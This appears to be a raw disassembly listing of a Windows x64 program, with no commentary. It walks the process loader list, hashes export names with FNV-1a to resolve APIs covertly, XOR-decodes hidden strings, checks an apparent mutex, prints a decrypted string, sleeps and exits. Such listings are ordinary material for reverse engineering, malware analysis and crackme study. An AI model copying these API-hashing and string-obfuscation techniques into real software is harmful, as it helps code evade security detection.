movabs rcx, 0xe014031c965ca11c
mov qword [rbp + 0x770], rcx
mov qword [rbp + 0x778], rdx
movdqa xmm0, xmmword [rbp + 0x670]
xorps xmm0, xmmword [rbp + 0x750]
movdqa xmmword [rbp + 0x670], xmm0
movdqa xmm1, xmmword [rbp + 0x680]
xorps xmm1, xmmword [rbp + 0x760]
movdqa xmmword [rbp + 0x680], xmm1
movdqa xmm0, xmmword [rbp + 0x690]
xorps xmm0, xmmword [rbp + 0x770]
movdqa xmmword [rbp + 0x690], xmm0
lea r8, [rbp + 0x670]
xor edx, edx
mov ecx, 0x1f0001
call rax
test rax, rax
jne 0x14002e876
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14002e534
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14002e534
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14002e52f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14002e510
cmp edx, 0x3b6ed297
je 0x14002e539
test r9d, r9d
jne 0x14002e4f0
mov rax, qword [rax]
jmp 0x14002e4c0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov qword [rbp + 0x670], rdi
mov qword [rbp + 0x678], r15
mov qword [rbp + 0x680], r12
mov qword [rbp + 0x688], r13
movabs rcx, 0xe014031c965ce455
mov qword [rbp + 0x690], rcx
movabs rdx, 0x826ca51c1388a11c
mov qword [rbp + 0x698], rdx
movabs rcx, 0x9366bb1cbd2ca11c
mov qword [rbp + 0x710], rcx
movabs rcx, 0x35bf5d1c3a58a11c
mov qword [rbp + 0x718], rcx
movabs rcx, 0xd5516f1c3d24a11c
mov qword [rbp + 0x720], rcx
movabs rcx, 0x5ede511c1fd0a11c
mov qword [rbp + 0x728], rcx
movabs rcx, 0xe014031c965ca11c
mov qword [rbp + 0x730], rcx
mov qword [rbp + 0x738], rdx
movdqa xmm0, xmmword [rbp + 0x670]
xorps xmm0, xmmword [rbp + 0x710]
movdqa xmmword [rbp + 0x670], xmm0
movdqa xmm1, xmmword [rbp + 0x680]
xorps xmm1, xmmword [rbp + 0x720]
movdqa xmmword [rbp + 0x680], xmm1
movdqa xmm0, xmmword [rbp + 0x690]
xorps xmm0, xmmword [rbp + 0x730]
movdqa xmmword [rbp + 0x690], xmm0
lea r8, [rbp + 0x670]
xor edx, edx
xor ecx, ecx
call rax
cmp dword [rbp + 0xf4], 0
je 0x14002e800
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.14001a0d0
mov r9, rax
cmp byte [rax + 0x10], 0
je 0x14002e7e1
cmp r14d, 2
jl 0x14002e7ac
movdqa xmm5, xmmword [0x140083980]
movdqa xmm4, xmmword [0x1400839d0]
movdqa xmm6, xmmword [0x1400839a0]
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400839b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x10
jl 0x14002e6a2
cmp eax, 0x11
jge 0x14002e7e1
movsxd r8, esi
add r8, r9
mov eax, 0x92492493
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, sil
sub al, cl
add al, 0x39
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x11
jl 0x14002e7b2
mov rdx, r9
mov rcx, r10
call fcn.140017d90
mov ecx, 0xdac
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140028790
nop
lea rcx, [rbp + 0xc0]
call fcn.140009a40
nop
lea rcx, [rbp + 0x80]
call fcn.140009a40
nop
lea rcx, [rbp + 0xa0]
call fcn.140009a40
nop
cmp dword [rbp + 0x108], 0
jne 0x14002e8a6
cmp dword [rbp + 0x118], 0
jne 0x14002e8b6
xor eax, eax
mov rcx, qword [rbp + 0x4fd0]
xor rcx, rsp
call fcn.14007d5e0
lea r11, [rsp + 0x50f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [rbp + 0xc0]
call fcn.140009a40
nop
lea rcx, [rbp + 0x80]
call fcn.140009a40
nop
lea rcx, [rbp + 0xa0]
call fcn.140009a40
nop
cmp dword [rbp + 0x108], 0
je 0x14002e8ad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
cmp dword [rbp + 0x118], 0
je 0x14002e83f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3